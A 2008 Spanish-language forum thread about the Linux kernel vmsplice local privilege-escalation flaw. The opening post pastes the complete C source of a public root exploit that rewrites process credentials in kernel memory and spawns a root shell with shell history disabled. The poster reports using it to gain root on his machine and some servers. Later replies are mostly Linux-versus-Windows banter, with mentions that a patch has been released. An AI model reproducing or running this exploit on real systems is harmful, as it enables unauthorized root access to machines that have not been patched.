Grave fallo de seguridad - Linux Kernels 2.6.17 - 2.6.24.1

Tema en 'Soft y Hard' comenzado por Matu_aBaNDoN, 11/Feb/2008.

  1. Matu_aBaNDoN

    Matu_aBaNDoN Outlandish Member

    Ingreso:
    5/Sep/2006
    Mensajes:
    662
    Ubicación:
    Continum 4
    Vía slashdot, it.slashdot.org/article.pl?sid=08/02/10/2011257 se ha descubierto un fallo de seguridad en los kernel linux de 2.6.17 a 2.6.24.1, afecta a aquellos kernels que hallan sido compilados con vmsplice. Afecta a la mayoría de las distribuciones incluyendo las últimas versiones de Debian, Fedora, Mandriva, openSUSE y Ubuntu. Se trata de un exploit local que permite alcanzar privilegios de root. El reporte de bug va acompañado del código necesario para probarlo.

    Fuente

    Código del exploit de milw0rm por qaaz:

    Código:
    /*
     * vmspliceroot.c
     *
     * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
     * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
     * Stejnak je to stare jak cyp a aj jakesyk rozbite.
     *
     * Linux vmsplice Local Root Exploit
     * By qaaz
     *
     * Linux 2.6.17 - 2.6.24.1
     *
     * This is quite old code and I had to rewrite it to even compile.
     * It should work well, but I don't remeber original intent of all
     * the code, so I'm not 100% sure about it. You've been warned ;)
     * 
     * -static -Wno-format  
     */
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <string.h>
    #include <malloc.h>
    #include <limits.h>
    #include <signal.h>
    #include <unistd.h>
    #include <sys/uio.h>
    #include <sys/mman.h>
    #include <asm/page.h>
    #define __KERNEL__
    #include <asm/unistd.h>
    
    #define PIPE_BUFFERS	16
    #define PG_compound	14
    #define uint		unsigned int
    #define static_inline	static inline __attribute__((always_inline))
    #define STACK(x)	(x + sizeof(x) - 40)
    
    struct page {
    	unsigned long flags;
    	int count;
    	int mapcount;
    	unsigned long private;
    	void *mapping;
    	unsigned long index;
    	struct { long next, prev; } lru;
    };
    
    void	exit_code();
    char	exit_stack[1024 * 1024];
    
    void	die(char *msg, int err)
    {
    	printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
    	fflush(stdout);
    	fflush(stderr);
    	exit(1);
    }
    
    #if defined (__i386__)
    
    #ifndef __NR_vmsplice
    #define __NR_vmsplice	316
    #endif
    
    #define USER_CS		0x73
    #define USER_SS		0x7b
    #define USER_FL		0x246
    
    static_inline
    void	exit_kernel()
    {
    	__asm__ __volatile__ (
    	"movl %0, 0x10(%%esp) ;"
    	"movl %1, 0x0c(%%esp) ;"
    	"movl %2, 0x08(%%esp) ;"
    	"movl %3, 0x04(%%esp) ;"
    	"movl %4, 0x00(%%esp) ;"
    	"iret"
    	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
    	    "i" (USER_CS), "r" (exit_code)
    	);
    }
    
    static_inline
    void *	get_current()
    {
    	unsigned long curr;
    	__asm__ __volatile__ (
    	"movl %%esp, %%eax ;"
    	"andl %1, %%eax ;"
    	"movl (%%eax), %0"
    	: "=r" (curr)
    	: "i" (~8191)
    	);
    	return (void *) curr;
    }
    
    #elif defined (__x86_64__)
    
    #ifndef __NR_vmsplice
    #define __NR_vmsplice	278
    #endif
    
    #define USER_CS		0x23
    #define USER_SS		0x2b
    #define USER_FL		0x246
    
    static_inline
    void	exit_kernel()
    {
    	__asm__ __volatile__ (
    	"swapgs ;"
    	"movq %0, 0x20(%%rsp) ;"
    	"movq %1, 0x18(%%rsp) ;"
    	"movq %2, 0x10(%%rsp) ;"
    	"movq %3, 0x08(%%rsp) ;"
    	"movq %4, 0x00(%%rsp) ;"
    	"iretq"
    	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
    	    "i" (USER_CS), "r" (exit_code)
    	);
    }
    
    static_inline
    void *	get_current()
    {
    	unsigned long curr;
    	__asm__ __volatile__ (
    	"movq %%gs:(0), %0"
    	: "=r" (curr)
    	);
    	return (void *) curr;
    }
    
    #else
    #error "unsupported arch"
    #endif
    
    #if defined (_syscall4)
    #define __NR__vmsplice	__NR_vmsplice
    _syscall4(
    	long, _vmsplice,
    	int, fd,
    	struct iovec *, iov,
    	unsigned long, nr_segs,
    	unsigned int, flags)
    
    #else
    #define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
    #endif
    
    static uint uid, gid;
    
    void	kernel_code()
    {
    	int	i;
    	uint	*p = get_current();
    
    	for (i = 0; i < 1024-13; i++) {
    		if (p[0] == uid && p[1] == uid &&
    		    p[2] == uid && p[3] == uid &&
    		    p[4] == gid && p[5] == gid &&
    		    p[6] == gid && p[7] == gid) {
    			p[0] = p[1] = p[2] = p[3] = 0;
    			p[4] = p[5] = p[6] = p[7] = 0;
    			p = (uint *) ((char *)(p + 8) + sizeof(void *));
    			p[0] = p[1] = p[2] = ~0;
    			break;
    		}
    		p++;
    	}	
    
    	exit_kernel();
    }
    
    void	exit_code()
    {
    	if (getuid() != 0)
    		die("wtf", 0);
    
    	printf("[+] root\n");
    	putenv("HISTFILE=/dev/null");
    	execl("/bin/bash", "bash", "-i", NULL);
    	die("/bin/bash", errno);
    }
    
    int	main(int argc, char *argv[])
    {
    	int		pi[2];
    	size_t		map_size;
    	char *		map_addr;
    	struct iovec	iov;
    	struct page *	pages[5];
    
    	uid = getuid();
    	gid = getgid();
    	setresuid(uid, uid, uid);
    	setresgid(gid, gid, gid);
    
    	printf("-----------------------------------\n");
    	printf(" Linux vmsplice Local Root Exploit\n");
    	printf(" By qaaz\n");
    	printf("-----------------------------------\n");
    
    	if (!uid || !gid)
    		die("!@#$", 0);
    
    	/*****/
    	pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    	pages[1] = pages[0] + 1;
    
    	map_size = PAGE_SIZE;
    	map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
    	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if (map_addr == MAP_FAILED)
    		die("mmap", errno);
    
    	memset(map_addr, 0, map_size);
    	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    	printf("[+] page: 0x%lx\n", pages[0]);
    	printf("[+] page: 0x%lx\n", pages[1]);
    
    	pages[0]->flags    = 1 << PG_compound;
    	pages[0]->private  = (unsigned long) pages[0];
    	pages[0]->count    = 1;
    	pages[1]->lru.next = (long) kernel_code;
    
    	/*****/
    	pages[2] = *(void **) pages[0];
    	pages[3] = pages[2] + 1;
    
    	map_size = PAGE_SIZE;
    	map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
    	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if (map_addr == MAP_FAILED)
    		die("mmap", errno);
    
    	memset(map_addr, 0, map_size);
    	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    	printf("[+] page: 0x%lx\n", pages[2]);
    	printf("[+] page: 0x%lx\n", pages[3]);
    
    	pages[2]->flags    = 1 << PG_compound;
    	pages[2]->private  = (unsigned long) pages[2];
    	pages[2]->count    = 1;
    	pages[3]->lru.next = (long) kernel_code;
    
    	/*****/
    	pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
    	map_size = PAGE_SIZE;
    	map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
    	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if (map_addr == MAP_FAILED)
    		die("mmap", errno);
    	memset(map_addr, 0, map_size);
    	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    	printf("[+] page: 0x%lx\n", pages[4]);
    
    	/*****/
    	map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
    	map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
    	                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if (map_addr == MAP_FAILED)
    		die("mmap", errno);
    
    	memset(map_addr, 0, map_size);
    	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    
    	/*****/
    	map_size -= 2 * PAGE_SIZE;
    	if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
    		die("munmap", errno);
    
    	/*****/
    	if (pipe(pi) < 0) die("pipe", errno);
    	close(pi[0]);
    
    	iov.iov_base = map_addr;
    	iov.iov_len  = ULONG_MAX;
    
    	signal(SIGPIPE, exit_code);
    	_vmsplice(pi[1], &iov, 1, 0);
    	die("vmsplice", errno);
    	return 0;
    }
    
    // milw0rm.com [2008-02-09]
    Les digo que lo he testeado en mi maquina y en algunos servers y me consiguió privilegios de root, así que cuidadito con este code :P, para que vean que no solo posteo cosas alabando a Linux :-P


    Saludos.
     
    #1
  2. Tavo

    Tavo No one

    Ingreso:
    25/Abr/2006
    Mensajes:
    6.030
    Fallos criticos hay en montones de aplicaciones y SO, pero solamente los de windows son criticados y publicados en paginas y medios que no son específicos de seguridad informática. El mundo del software libre está muy ensañado con el tio bill :P
     
    #2
  3. djleoli

    djleoli bebiendo retro

    Ingreso:
    4/Sep/2005
    Mensajes:
    937
    Ubicación:
    en fastfileshare
    gracias por la info haciendo parche p solucionar error :P:P:P:P

    psd se q no lo posteastes para eso pero tengo un servidor linux y mejor que repare eso :D
     
    #3
  4. Matu_aBaNDoN

    Matu_aBaNDoN Outlandish Member

    Ingreso:
    5/Sep/2006
    Mensajes:
    662
    Ubicación:
    Continum 4
    Igual si no consiguen una shell remota en tu server no van a poder hacer nada, pero viste por las dudas _ok
     
    #4
  5. kain

    kain The Master Of The Dark

    Ingreso:
    29/May/2006
    Mensajes:
    297
    Ubicación:
    Rock is Black
    Todo software tiene fallas y algunos mas que otras, otros muchisimas mas que otras, pero como todo linuxero sabe mi querido tavo, es que existen tres versiones de Linux, stable, testing y unstable usar unstable es de boludos pues es software de prueba, por que ¿Crees que son 2.6.17.8-23.5? y no Windows Xp, Windows 95.

    Si todavia quieres mas, Windows arregla sus bugs el año del pedo (osea cuando sale un S2 o un S3 de esos con mas bugs), Linux al dia siguiente o a los dos dias, ademas estan los bugs "aproposito" que son los mas criticados, puertas traseras que van a dar a servidores de la NSA, ¿Curioso no crees? Internet anda por el Software Libre, pedir respeto seria lo de menos, ahora mismo estarias pagando hasta por el applet que te dice el clima si no fuera por Stallman.

    Saludos.

    Quedaos windowseros mundanos con sus juegos y programas derrochadores de nuestra preciada RAM, sean felices en su infelicidad que yo lo sere en la mia.
     
    #5
  6. djleoli

    djleoli bebiendo retro

    Ingreso:
    4/Sep/2005
    Mensajes:
    937
    Ubicación:
    en fastfileshare
    ha hablado kain honremos todos las palabras sabias de kain :cheers::cheers:

    psd yo uso como dije tantas veces ubuntu linux y una de las cosas que me gusto de linux es que anda todo genial con win 98 y sin ofender a nadie yo usaba winamp con un mp3 y abria el navegador y se colgaba 2 seg la musica :roll: dije eso seguro es normal por mi pobre procesador :roll: luego un dia por probar instale linux y dije bueno pongo un mp3 mi sorpresa fue tal al ver que abria 3 ventanas y ni un solo cuelgue que quede emocionado :joda::joda: ah y perdon si desvitue :?
     
    #6
    Última modificación: 12/Feb/2008
  7. kain

    kain The Master Of The Dark

    Ingreso:
    29/May/2006
    Mensajes:
    297
    Ubicación:
    Rock is Black
    Eso se llama ocupar la RAM como corresponde, pero tambien se debia a que ocupabas el Winamp que a todo esto no es muy bueno. Por lo de honrremos a kain me lo tomo como un alago El que sabe es dueño del que no sabe dice el dicho.

    Aprovecho para avisar que el bug lo solucionaron el 10 de febrero segun leo.

    Saludos.
     
    #7
  8. Matu_aBaNDoN

    Matu_aBaNDoN Outlandish Member

    Ingreso:
    5/Sep/2006
    Mensajes:
    662
    Ubicación:
    Continum 4
    Kain, los kernels estables tambien son vulnerables a este exploit, no solo los inestables. Te digo esto para corregirte nomas :P y con respecto a la vulnerabilidad, ya existe un parche al respecto. Saludos.
     
    #8
  9. kain

    kain The Master Of The Dark

    Ingreso:
    29/May/2006
    Mensajes:
    297
    Ubicación:
    Rock is Black
    ¿De que me vas a corregir si nunca lo dije? Yo dije que usar unstable es de boludos, y claro cualquier kernel tiene bugs para aprovechar cuando tienes acceso a la PC pero si no tienes acceso te metes el exploit por ya sabes donde por que mi viejo tarro no tiene para XSS ;)

    Ya dije que lo habian parchado el 10 de Febrero, mejor traeme el barquito y dejate de delirar.

    Saludos.
     
    #9
  10. Matu_aBaNDoN

    Matu_aBaNDoN Outlandish Member

    Ingreso:
    5/Sep/2006
    Mensajes:
    662
    Ubicación:
    Continum 4
    Mira che, aca en Italia una caja de cigarrilos esta 20 $, nose si te voy a pdoer llevar el barquito! :P
     
    #10

Compartinos

Cargando...